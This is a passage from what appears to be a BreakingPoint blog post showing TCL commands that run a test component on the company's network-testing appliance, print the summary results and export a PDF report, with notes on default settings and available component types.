% $component setDomain client 2 default
% $bps save -force
% $bps run
% set result [$component result]
% foreach p [$result values] { set v [$result get $p]; puts "$p == $v" }
% $bps exportReport -file TCL_Demo_Test_${componentname}_Result.pdf -format pdf
This test will use the default DUT profile of 'BreakingPoint Default,' and the default Network Neighborhood of 'BreakingPoint Switching.' If your test environment requires something different like routing, you'll need to issue the appropriate setDut and setNeighborhood commands before adding the component. The two setDomain commands set the server and client sides of the security component, and specify the default ethernet and IP addressing domains. After running the test, we display the summary results of the test. To get detail about what strikes were blocked, you need to view the report generated from the exportReport call.
The nice thing about this code is that it's general enough to run any component. You can set componentname in the first line to appsim, bitblaster, recreate, routingrobot, security, sessionsender, or stackscrambler. The list of available components can be found by issuing `$bps createComponent false false`. This will show both the canned (BreakingPoint defined) as well as custom (customer defined) components.
The automation afforded by using TCL has been invaluable in reducing the time it takes the BreakingPoint Labs team to test and deploy StrikePacks. I know it will benefit anyone that takes the time to learn it. Over the coming weeks, I'll be sharing hints and code that will help BreakingPoint customers leverage automation in their testing efforts. The next installment will focus on utilizing the Security component to test IPS signatures. In the meantime, please download the code archive for this post and get started with TCL!
Tags: